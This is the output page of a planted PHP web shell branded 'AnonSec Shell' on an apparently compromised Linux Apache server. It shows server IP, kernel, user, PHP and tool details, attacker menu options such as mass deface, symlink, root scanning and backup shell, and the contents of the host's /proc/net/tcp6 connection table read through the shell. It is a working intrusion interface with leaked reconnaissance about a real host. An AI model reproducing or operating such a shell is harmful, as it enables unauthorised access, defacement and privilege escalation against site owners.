AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.72   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/13487/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/13487/net/tcp6
  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 59722792 1 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:0016 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 11959 1 0000000000000000 100 0 0 10 0
   2: 00000000000000000000000000000000:01BB 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 59722796 1 0000000000000000 100 0 0 10 0
   3: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:312C 06 00000000:00000000 03:0000016E 00000000     0        0 0 3 0000000000000000
   4: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:4C6E 06 00000000:00000000 03:00000DDE 00000000     0        0 0 3 0000000000000000
   5: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:1F14 01 00000000:00000000 02:000B0306 00000000    33        0 199420364 4 0000000000000000 22 4 19 10 28
   6: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:426C 06 00000000:00000000 03:0000016E 00000000     0        0 0 3 0000000000000000
   7: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:45B6 06 00000000:00000000 03:0000144B 00000000     0        0 0 3 0000000000000000
   8: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:B957 06 00000000:00000000 03:0000016E 00000000     0        0 0 3 0000000000000000
   9: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:2167 06 00000000:00000000 03:0000016E 00000000     0        0 0 3 0000000000000000
  10: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:5D52 06 00000000:00000000 03:00000ABD 00000000     0        0 0 3 0000000000000000
  11: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:D6B5 06 00000000:00000000 03:00001130 00000000     0        0 0 3 0000000000000000
  12: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:75FA 06 00000000:00000000 03:0000169B 00000000     0        0 0 3 0000000000000000
  13: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:5DCF 06 00000000:00000000 03:0000016F 00000000     0        0 0 3 0000000000000000
  14: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:87B4 01 00000000:00000000 02:000B0306 00000000    33        0 199420043 2 0000000000000000 22 4 23 10 28
  15: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:3D0A 01 00000000:00000000 02:000B0306 00000000    33        0 199420209 2 0000000000000000 22 4 1 10 28
  16: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:05E7 06 00000000:00000000 03:0000034F 00000000     0        0 0 3 0000000000000000
  17: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:064F 01 00000000:00000000 02:000B0306 00000000    33        0 199420307 2 0000000000000000 22 4 28 10 28
  18: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:8A65 06 00000000:00000000 03:0000016E 00000000     0        0 0 3 0000000000000000
  19: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:4123 06 00000000:00000000 03:0000016D 00000000     0        0 0 3 0000000000000000
  20: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF00008507B2C0:DA8B 01 00000000:00000000 02:000AF639 00000000    33        0 199418563 2 0000000000000000 24 4 31 10 7
  21: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:4AD1 06 00000000:00000000 03:00000703 00000000     0        0 0 3 0000000000000000
  22: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:8833 06 00000000:00000000 03:0000016E 00000000     0        0 0 3 0000000000000000
  23: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:75AD 01 00000000:00000000 02:000B0306 00000000    33        0 199420044 2 0000000000000000 22 4 1 10 28
  24: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:1E53 06 00000000:00000000 03:00000FD6 00000000     0        0 0 3 0000000000000000
  25: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF00008507B2C0:DF5B 06 00000000:00000000 03:00000B4D 00000000     0        0 0 3 0000000000000000

Anon7 - 2022
AnonSec Team